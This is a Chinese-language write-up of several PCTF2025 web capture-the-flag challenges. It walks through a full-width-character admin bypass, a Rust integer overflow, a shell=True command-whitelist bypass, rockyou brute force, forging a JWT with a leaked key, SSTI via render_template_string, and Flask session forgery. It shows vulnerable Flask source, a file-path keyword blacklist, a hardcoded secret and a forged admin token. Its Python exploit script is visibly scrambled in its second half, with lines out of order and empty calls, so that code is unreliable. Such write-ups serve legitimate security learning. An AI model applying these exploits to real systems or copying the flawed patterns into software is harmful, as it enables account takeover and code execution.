跳到主要内容Python大前端算法
PCTF2025 Web 赛题实战复盘:从整数溢出到 SSTI
综述由AI生成本次复盘涵盖 PCTF2025 Web 部分多道赛题,涉及全角字符绕过、Rust 整数溢出、JWT 伪造与密钥泄露、文件上传 SSTI 及 Session 篡改等核心漏洞。通过分析 Flask 应用源码,定位了命令执行白名单绕过、密码覆盖机制及模板注入点。结合爆破工具与流量分析,成功获取 Flag。重点展示了从信息收集到利用链构建的完整思路,适合安全爱好者参考学习。
1qazxsw217 浏览 PCTF2025 Web 赛题实战复盘
本次复盘涵盖了 PCTF2025 Web 部分的多道典型赛题,涉及全角字符绕过、Rust 整数溢出、JWT 伪造与密钥泄露、文件上传 SSTI 及 Session 篡改等核心漏洞。通过分析 Flask 应用源码,我们定位了命令执行白名单绕过、密码覆盖机制及模板注入点。结合爆破工具与流量分析,成功获取 Flag。以下是各题目的详细分析与利用思路。
神秘商店
题目入口仅有一个登录框。常规登录无法通过,尝试使用全角字符进行注册和登录。

后端代码存在转换逻辑,全角字符能够绕过后端对 admin 的检测,将全角 admin 识别为正常的 admin,从而造成覆盖注册并修改密码。

注册成功后,利用整数溢出漏洞(数值从 4294967246 变为 50)购买 Flag。可以直接编写脚本自动化完成登录与攻击流程。
import requests
def exploit():
url = "http://challenge2.pctf.top:32735"
session = requests.Session()
print("[+] 注册管理员账户...")
users = {"username": "admin", "password": "123456"}
response = session.post(f"{url}/register", data=users)
print(f"[+] 注册响应:{response.status_code}")
print("[+] 登录...")
users = {"username": "admin", "password": "123456"}
response = session.post(f"{url}/login", data=users)
print(f"[+] 登录响应:")
response = session.get()
()
()
amount = {: }
response = session.post(, data=amount)
()
()
product = {: }
response = session.post(, json=product)
()
__name__ == :
exploit()
{response.status_code}
f"{url}/user"
print
f"[+] 用户信息:{response.text}"
print
"[+] 触发 Rust 整数溢出..."
"amount"
4294967246
f"{url}/add_balance"
print
f"[+] 增加余额:{response.text}"
print
"[+] 购买 Flag..."
"product_id"
4
f"{url}/buy_product"
print
f"[+] 购买结果:{response.text}"
if
'__main__'
We_will_rockyou
下载源码后进行分析,这是一个基于 Flask 的服务器面板应用。
基础配置与初始化
from flask import Flask, redirect, url_for, render_template, request
import jwt, uuid, os, subprocess
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())
accounts = {}
认证逻辑 (JWT)
这部分负责维持登录状态。由于使用了随机 UUID 作为 Key,安全性在运行时尚可,但无法持久化。
def create_token(user_id, username):
payload = {'user_id': user_id, 'username': username}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
return payload['user_id'], payload['username']
except:
return None
命令执行逻辑
这是本题的核心风险点。虽然限制了白名单命令,但使用了 shell=True。
SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']
@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
cmd = request.form.get('command', '').strip()
if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
return render_template('dashboard.html', error_msg="Error: Command not allowed or empty")
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
output = result.stdout + result.stderr
return render_template('dashboard.html', output=output, command=cmd)
except Exception as e:
return render_template('dashboard.html', error_msg=f"Error: {str(e)}")
启动逻辑与管理员密码
启动时会尝试从系统文件读取密码覆盖默认值,这留下了字典爆破的突破口。
if __name__ == '__main__':
admin_id = 0
admin_username = 'admin123'
admin_password = str(uuid.uuid4())
for path in ['/password', './password.txt']:
try:
if os.path.exists(path) and os.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if not raw: continue
text = raw.decode('utf-8', errors='replace').strip()
candidates = [line.strip() for line in text.splitlines() if line.strip()]
if candidates:
import secrets
admin_password = secrets.choice(candidates)
break
except: pass
accounts[admin_id] = {
'username': admin_username,
'password': generate_password_hash(admin_password)
}
app.run(debug=False, host='0.0.0.0')
用户名固定为 admin123,而密码虽然初始随机,但会被文件内容覆盖。题目提示使用 rockyou.txt,因此直接对该用户名进行字典爆破。
Jwt_password_manager
审计代码发现 JWT 签名密钥已泄露,且逻辑中存在将 flag 存储为用户密码项的机制。
app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
if __name__ == '__main__':
admin_password = str(uuid.uuid4())
insert_account('admin', generate_password_hash(admin_password))
for path in ['/flag', './flag.txt']:
try:
if os.path.exists(path) and os.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if raw:
content = raw.decode('utf-8', errors='replace').strip()
add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content)
break
except: pass
既然密钥已知,我们可以先注册一个普通账号拿到 Token,然后在 jwt.io 上解密并修改 Payload 中的 username 为 admin,重新签名后替换 Cookie,即可访问管理员数据获取 Flag。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo
ez_upload
题目提供文件上传功能,但限制查看特定类型文件,且直接读取 /etc/passwd 被过滤。
BLACKLIST_KEYWORDS = [
'env', '.env', 'environment', 'profile', 'bashrc',
'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]
@app.route('/file')
def view_file():
file_path = request.args.get('file', '')
file_path_lower = file_path.lower()
for keyword in BLACKLIST_KEYWORDS:
if keyword in file_path_lower:
return render_template_string(template, error_message='...')
try:
with open(file_path, 'r', encoding='utf-8') as f:
file_content = f.read()
return render_template_string(template, file_path=file_path, file_content=file_content)
except Exception as e:
关键点在于 render_template_string 渲染了 file_content。如果用户上传包含 Jinja2 语法的文件(如 {{ 7*7 }}),并在查看时触发,即可实现 SSTI。
通过构造 SSTI Payload,可以成功读取敏感文件。
Do_you_know_session?
搜索框中可注入 SSTI,且有 WAF 防护,但能返回 Config 信息。
搜索参数 ?context= 处存在 SSTI,配合 WAF 绕过技巧,获取到了 Secret Key。
有了 Secret Key 和现有的 Session Cookie,可以使用 flask-session-cookie-manager 工具伪造 Session。
最终通过读取 environ 变量获取 Flag。
以上几道题展示了 Web 安全中常见的几种攻击面:输入验证不足导致的字符绕过、弱口令与字典爆破、硬编码密钥导致的 JWT 伪造、不安全的模板渲染引发的 SSTI 以及 Session 管理不当。在实际渗透测试中,除了关注代码逻辑,还要留意环境配置与第三方库的使用细节。
相关免费在线工具
- 加密/解密文本
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
- Gemini 图片去水印
基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
- curl 转代码
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
- Base64 字符串编码/解码
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
- Base64 文件转换器
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
- Markdown转HTML
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online